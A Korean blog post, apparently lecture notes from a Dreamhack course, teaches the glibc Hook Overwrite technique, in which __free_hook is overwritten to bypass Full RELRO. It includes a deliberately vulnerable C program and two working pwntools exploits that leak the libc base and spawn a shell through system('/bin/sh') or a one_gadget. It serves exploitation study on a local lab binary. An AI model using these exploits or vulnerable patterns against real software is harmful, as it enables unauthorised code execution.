1. Hook Overwrite
- Hook의 특징을 이용한 공격 기법이다.
[참고] Hooking은 운영체제가 어떤 코드를 실행하려할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것을 의미하며, 이때 실행되는 코드를 Hook이라고 한다. |
2. 실습 목표
- 본 실습에서는 malloc과 free함수를 후킹하여, 각 함수가 호출될 때 공격자가 작성한 악의적인 코드가 실행되도록 하는 기법을 실습한다.
- Full RELRO가 적용되어도, libc의 데이터 영역에는 쓰기가 가능하므로 Full RELRO를 우회하는 기법으로 사용할 수 있다.
3. 메모리 함수 훅
- C언어에서 메모리 동적할당&해제를 담당하는 함수는 malloc, free, realloc이 대표적이며, 해당 함수들은 libc.so에 구현되어 있다.
- libc에는 함수들의 디버깅 편의를 위해, 훅 변수가 정의되어 있다.
malloc 함수 | __malloc_hook 변수의 값이 Null인지 검사하고, 아니라면 malloc 수행 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. |
free 함수 | __free_hook을 사용한다. |
realloc 함수 | __realloc_hook을 사용한다. |
- __malloc_hook, __free_hook, __realloc_hook은 관련된 함수와 같이 libc.so에 정의되어 있다.
- 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss섹션에 포함됨을 알 수 있다. 따라서, bss섹션은 쓰기가 가능하므로, 해당 변수들의 값을 조작할 수 있게 된다.
4. Hook Overwrite 공격 원리
- malloc, free, realloc에는 각각 대응되는 훅 변수가 존재한다.
- 해당 훅 변수들은 libc의 bss섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다.
- 훅을 실행할 때, 기존 함수에 전달한 인자를 같이 전달해주기 때문에, __malloc_hook을 system함수의 주소로 덮고malloc("/bin/sh")를 호출하여 셸 획득 등의 공격이 가능하다.
- Full RELRO가 적용된 바이너리에서도, 라이브러리의 훅에는 쓰기 권한이 남아있기 때문에 위와 같은 공격을 고려해볼 수 있다.
5. Free Hook Overwrite 실습
- free 함수의 훅을 덮는 공격을 실습한다.
5-1. 실습 코드
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
5-2. 분석
① checksec을 사용하여, 적용된 보호기법 확인
② 코드 분석
- Code 16 ~ 19번 줄에서 stack overflow가 발생한다.
하지만, 카나리를 올바르게 덮을 수 없고 반환주소도 조작이 불가능하기 때문에
해당 부분은 스택에 있는 데이터를 읽는 용도로만 사용할 수 있을 것이다. - Code 21 ~ 27번 줄에서 주소를 입력하고, 해당 주소에 임의의 값을 쓸 수 있다.
- Code 29 ~ 32번 줄에서 주소를 입력하고, 해당 주소의 메모리를 해제할 수 있다.
5-3. 공격 시나리오
① 라이브러리의 변수 및 함수들의 주소 구하기
- __free_hook, system함수, "/bin/sh"문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 주소를 계산할 수 있다.
- 해당 코드의 stack overflow취약점을 이용하여 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다.
- main함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로, main함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.
$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0 0x00005555555548be in main ()
#1 0x00007ffff7a03c87 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffe4e8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4d8) at ../csu/libc-start.c:310
#2 0x00005555555547da in _start ()
② 셸 획득
- __free_hook의 값을 system함수의 주소로 덮어쓴다.
- 이후 할당한 메모리를 해제할 때, "/bin/sh"를 해제하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.
5-4. Exploit 과정
① 라이브러리의 변수 및 함수들의 주소 구하기
- gdb로 main함수의 반환주소인 libc_start_main을 읽는다.
- 읽은 주소값에서 libc의 매핑 주소를 빼면, libc와 반환 주소의 오프셋을 구할 수 있다.
- 해당 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있다.
$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0 0x00005555555548be in main ()
#1 0x00007ffff7a03c87 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffe4a8, init=<optimized out>, fini=<optimized out>
, rtld_fini=<optimized out>, stack_end=0x7fffffffe498) at ../csu/libc-start.c:310
#2 0x00005555555547da in _start ()
② 셸 획득
- __free_hook의 값을 system함수의 주소로 덮어쓴다.
- "/bin/sh"를 해제하게 하면, system("/bin/sh")가 호출되어 셸을 획득할 수 있다.
5-5. Exploit Code
from pwn import *
def print_v(n, v):
return success(": ".join([n, hex(v)]))
p = process(b"./fho")
e = ELF(b"./fho")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")
payload = "A" * 0x48
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
libc_start_main = u64(p.recvn(6)+ b"\x00"*2)
libc_base = libc_start_main - (libc.symbols['__libc_start_main']+231)
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b"/bin/sh"))
print_v("libc_start_main", libc_start_main)
print_v("libc_base_addr", libc_base)
print_v("system addr", system)
print_v("free_hook addr", free_hook)
print_v("/bin/sh addr", binsh)
p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(system))
p.recvuntil(b"To free: ")
p.sendline(str(binsh))
p.interactive()
6. one_gadget
- one_gadget 또는 magic_gadget은 실행하면, 셸이 획득되는 코드 뭉치를 말한다.
- one_gadget도구를 사용하면, libc에서 쉽게 one_gadget을 찾을 수 있다.
( https://github.com/david942j/one_gadget ) - one_gadget 단점은 libc버전마다 다르게 존재하며, 제약 조건이 모두 다르다.
따라서, 사황에 맞는 가젯을 사용하거나 제약조건을 만족하도록 조작해줘야 한다.
6-1. one_gadget 예시
- one_gadget은 함수에 인자를 전달하기 어려울 때, 유용하게 사용될 수 있다.
- __malloc_hook을 덮을 수 있으나, malloc 호출할 때 인자를 검사해서 작은 정수만 입력할 수 있다면 "/bin/sh"를 인자로 전달하기 어렵다. 이때, 제약조건에 만족하는 one_gadget이 존재한다면 이를 이용할 수 있다.
6-2. one_gadget 사용한 Exploit
- __free_hook을 one_gadget주소값으로 바꾼다.
(본 실습은 0x4f302주소의 one_gadget을 사용하였다.
from pwn import *
def print_v(n, v):
return success(": ".join([n, hex(v)]))
p = process(b"./fho")
e = ELF(b"./fho")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")
payload = "A" * 0x48
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
libc_start_main = u64(p.recvn(6)+ b"\x00"*2)
libc_base = libc_start_main - (libc.symbols['__libc_start_main']+231)
onegadget = libc_base + 0x4f302
free_hook = libc_base + libc.symbols['__free_hook']
print_v("libc_start_main", libc_start_main)
print_v("libc_base_addr", libc_base)
print_v("onegadget addr", onegadget)
print_v("free_hook addr", free_hook)
p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(onegadget))
p.recvuntil(b"To free: ")
p.sendline(str(1234))
p.interactive()
'Dreamhack > Lecture & Practice' 카테고리의 다른 글
[Lecture] Format String Bug (FSB) (0) | 2022.08.10 |
---|---|
[Lecture] OOB (Out of bounds) (0) | 2022.08.09 |
[Lecture] PIE (Position-Independent Executable) (0) | 2022.07.12 |
[Lecture] RELRO (RELocation Read-Only) (0) | 2022.07.11 |
[Practice] ROP - GOT Overwrite (0) | 2022.07.02 |